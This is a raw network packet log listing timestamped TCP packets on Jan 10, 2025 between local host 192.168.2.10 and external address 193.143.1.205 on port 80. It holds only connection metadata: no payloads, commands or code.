Jan 10, 2025 22:13:39.992432117 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:39.992455959 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:39.992492914 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.018420935 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.047982931 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.048011065 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.048022032 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.048033953 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.048047066 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.048060894 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.048074007 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.048132896 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.048204899 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.048228025 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.048285007 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.048309088 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.048327923 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.048372984 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.074080944 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.074095011 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.074107885 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.074120045 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.074182034 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.074228048 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.105376959 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.105393887 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.105487108 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.105495930 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.105510950 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.105518103 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.105524063 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.105576992 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.105976105 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.105989933 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106003046 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106034994 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.106125116 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106137037 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106148958 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106159925 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106172085 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106184006 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.106228113 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.106414080 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106566906 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106579065 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106590033 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106602907 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.106618881 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.106657028 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.106987000 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107001066 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107012987 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107023954 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107038975 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107045889 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.107052088 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107069016 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107075930 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.107101917 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.107122898 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.107434988 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107577085 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107589006 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107601881 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107615948 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107630014 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.107631922 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107661963 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.107691050 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.107714891 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107727051 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107739925 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107750893 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107765913 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.107773066 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.107821941 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.108591080 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108604908 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108617067 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108652115 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.108691931 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.108731985 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108745098 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108756065 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108771086 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108808994 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.108838081 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.108884096 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108896017 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108906984 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108920097 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.108956099 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.108980894 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.109703064 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109716892 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109730005 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109744072 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109755993 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109766960 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109780073 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109816074 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.109834909 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109849930 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109863043 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109867096 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.109875917 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.109899998 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.109926939 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.110564947 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.110590935 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.110620975 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.119972944 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.131642103 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.135468006 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.135492086 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.135556936 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.135637045 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.135651112 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.135663986 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.135674953 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.135694027 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.135699987 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.135710001 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.135746956 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.135765076 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.135795116 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.135843039 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.135986090 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.135997057 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.136012077 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.136028051 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.136040926 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.136071920 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.136343956 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.136357069 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.136368990 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.136449099 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.143802881 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.160768986 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.160784960 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.160798073 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.160815001 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.160825014 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.160890102 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.160945892 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.166994095 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.192122936 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192140102 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192152023 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192163944 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192177057 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192188978 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192205906 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192219019 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192222118 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.192265987 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192281961 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.192450047 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192465067 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192504883 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.192603111 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192622900 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192648888 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.192771912 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192785025 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192795992 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192816973 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192816973 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.192841053 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.192948103 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192960024 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192972898 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.192987919 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.193007946 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.193056107 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.200484037 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.231722116 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231739044 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231750965 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231762886 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231775999 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231781960 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231801987 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231811047 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231834888 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.231865883 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231873035 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.231882095 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231906891 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.231986046 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.231998920 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232009888 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232033968 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.232063055 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.232074022 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232089043 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232100964 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232112885 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232141018 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.232153893 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232163906 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.232167959 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232181072 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232194901 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232211113 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232212067 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.232248068 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.232628107 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232640028 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232661963 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232675076 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.232676029 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232690096 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232701063 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.232707977 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232714891 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.232729912 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.232764959 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.233062983 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233082056 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233094931 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233105898 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233118057 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233134031 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233148098 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233150005 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.233164072 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233165026 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.233181953 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233191967 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.233196974 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233211994 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.233241081 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.233730078 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233741999 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233756065 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233772039 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233783960 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.233787060 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233799934 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233814955 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233825922 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.233829975 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233846903 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233859062 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.233871937 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233879089 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.233884096 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.233920097 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.234200001 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234210968 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234222889 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234241009 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234249115 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.234275103 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.234352112 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234364033 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234375954 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234381914 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234389067 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234394073 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234400988 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234409094 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234416962 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.234416962 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234430075 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234436035 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.234496117 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.234529018 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.236767054 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.236780882 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.236800909 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.236814022 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.236829996 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.236830950 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.236845970 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.236859083 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.236872911 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.236882925 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.236888885 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.236900091 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.236928940 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.236948013 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.237001896 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237066031 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237076998 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237098932 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237113953 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.237114906 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237150908 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.237298965 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237312078 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237323999 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237351894 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.237380028 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237392902 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.237404108 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237416983 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237428904 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.237447023 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.237484932 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.237709045 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.247456074 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.247468948 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.247481108 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.247553110 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.247567892 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.247581959 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.247596025 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.247612953 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.247632027 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.247651100 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.247651100 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.247651100 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.278049946 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278069973 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278090954 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278103113 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278115988 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278129101 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278163910 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.278208017 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278220892 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278240919 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.278264999 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.278518915 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278531075 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278570890 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.278625011 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278637886 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278650999 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278670073 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.278707027 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.278753996 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278763056 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278764963 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278770924 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278778076 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.278784990 CET	80	49740	193.143.1.205	192.168.2.10
